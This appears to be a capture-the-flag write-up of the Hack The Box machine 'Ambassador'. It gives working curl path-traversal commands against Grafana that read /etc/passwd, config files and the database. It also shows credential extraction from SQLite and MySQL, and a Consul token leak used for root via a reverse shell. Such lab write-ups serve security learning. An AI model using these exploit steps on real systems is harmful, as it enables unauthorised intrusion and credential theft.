Home Ambassador writeup
Post
Cancel
Preview Image

Ambassador writeup

Summary

This box focuses on primarily on enumeration, as well as finding publically available exploits. First, a publicly known exploit in Grafana to achieve arbitrary file read. This must then be leveraged into obtaining the Grafana sqlite database, which in turn contains credentials for a publicly available mysql service. It is then possible to find ssh credentials for a low privileged user on the box via the mysql service. Finally, by enumerating a git repository it is possible to locate a token for a consul application. This, combined with a public exploit for consul can then be used to escalate privileges.

Foothold

As usual, let’s start out by doing an nmap scan.

1
2
3
4
5
6
7
8
9
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-04 00:42 CET
Nmap scan report for 10.129.228.56
Host is up (0.021s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  ppp?
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2

Interestingly, the box has port 3306 open. As such, let’s keep an eye out for any potential database credentials.

The host is also hosting services on port 22, 80 and 3000. Visiting the site on port 80, we learn there is a user named developer with ssh access.

Port 3000 is hosting a Grafana instance, which prompts us to login when trying to access it. Searching for vulnerabilities in Grafana reveals the following exploit, which should give us arbitrary file read. Using the below command, it’s possible to enumerate the files on the remote server:

1
2
3
4
5
6
7
8
curl --path-as-is  "http://10.129.228.56:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
---SNIP---
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

As noted previously, the developer account is indeed present on the box.

One can use this vulnerability, paired with this article to find the password for the Grafana admin user:

1
2
3
bitis@Workstation ~/h/m/ambassador> curl --path-as-is  "http://10.129.228.56:3000/public/plugins/alertlist/../../../../../../../../../../../../../etc/grafana/grafana.ini" | grep password
# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427

Although this is just the default password that we could have probably found via a google search. In any case it works and we can log in as admin on the Grafana service. We can also use the exploit to download the Grafana database:

1
bitis@Workstation ~/h/m/ambassador [23]> curl --path-as-is  "http://10.129.228.56:3000/public/plugins/alertlist/../../../../../../../../../../../../../var/lib/grafana/grafana.db" --output grafana.db

Looking through the database we can tell that the only Grafana user that exists is the admin user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sqlite> .tables
alert                       login_attempt
alert_configuration         migration_log
alert_instance              ngalert_configuration
alert_notification          org
alert_notification_state    org_user
alert_rule                  playlist
alert_rule_tag              playlist_item
alert_rule_version          plugin_setting
annotation                  preferences
annotation_tag              quota
api_key                     server_lock
cache_data                  session
dashboard                   short_url
dashboard_acl               star
dashboard_provisioning      tag
dashboard_snapshot          team
dashboard_tag               team_member
dashboard_version           temp_user
data_source                 test_data
kv_store                    user
library_element             user_auth
library_element_connection  user_auth_token
sqlite> select * from user;
1|0|admin|admin@localhost||dad0e56900c3be93ce114804726f78c91e82a0f0f0f6b248da419a0cac6157e02806498f1f784146715caee5bad1506ab069|0X27trve2u|f960YdtaMF||1|1|0||2022-03-13 20:26:45|2022-09-01 22:39:38|0|2023-08-16 14:36:37|0

However, the database also contains credentials for the grafana mysql user: grafana:dontStandSoCloseToMe63221!

1
2
3
sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2023-08-16 14:18:10|0|{}|1|uKewFgM4z
sqlite>

By using these credentials to access the mysql service identified on the box earlier, it’s possible to get the password for the developer user in the “whackywidget” database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0,038 sec)

MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0,027 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0,027 sec)

MySQL [whackywidget]>

The password is base64 encoded, and decodes to anEnglishManInNewYork027468. We can then login to the server via ssh.

Privilege escalation

As part of our standard linux enumeration we run pspy64, and get the following output:

1
2
3
4
5
6
7
8
9
10
11
12
2022/12/04 01:24:07 CMD: UID=0    PID=1033   | /usr/sbin/cron -f
2022/12/04 01:24:07 CMD: UID=0    PID=103    |
2022/12/04 01:24:07 CMD: UID=0    PID=1027   | /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl
2022/12/04 01:24:07 CMD: UID=0    PID=102    |
2022/12/04 01:24:07 CMD: UID=0    PID=101    |
2022/12/04 01:24:07 CMD: UID=0    PID=100    |
2022/12/04 01:24:07 CMD: UID=0    PID=10     |
2022/12/04 01:24:07 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity
2022/12/04 01:25:01 CMD: UID=0    PID=2291   | /usr/sbin/CRON -f
2022/12/04 01:25:01 CMD: UID=0    PID=2293   | /bin/bash /root/cleanup.sh
2022/12/04 01:25:01 CMD: UID=0    PID=2292   | /bin/sh -c /root/cleanup.sh
2022/12/04 01:25:01 CMD: UID=0    PID=2294   | /bin/bash /root/cleanup.sh

It seems that the root user is running a program named consul via a cronjob. We find the below PoC for us to achieve command execution via consul. However it requires a consul token to work. Luckily, if we look at the /opt directory it contains /my-app. This directory contains a git repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
developer@ambassador:/opt/my-app$ ls -al
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 .
drwxr-xr-x 4 root root 4096 Sep  1  2022 ..
drwxrwxr-x 4 root root 4096 Mar 13  2022 env
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore

If we take a look at the differences between some of the commits, we can find the consul token:

1
2
3
4
5
6
7
8
9
10
11
12
developer@ambassador:/opt/my-app$ git diff 33a53 c982db
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index fc51ec0..35c08f6 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
+# Export MYSQL_PASSWORD before running

-consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD

We can then get a reverse shell by using the PoC and setting up a listener on our own server.

This post is licensed under CC BY 4.0 by the author.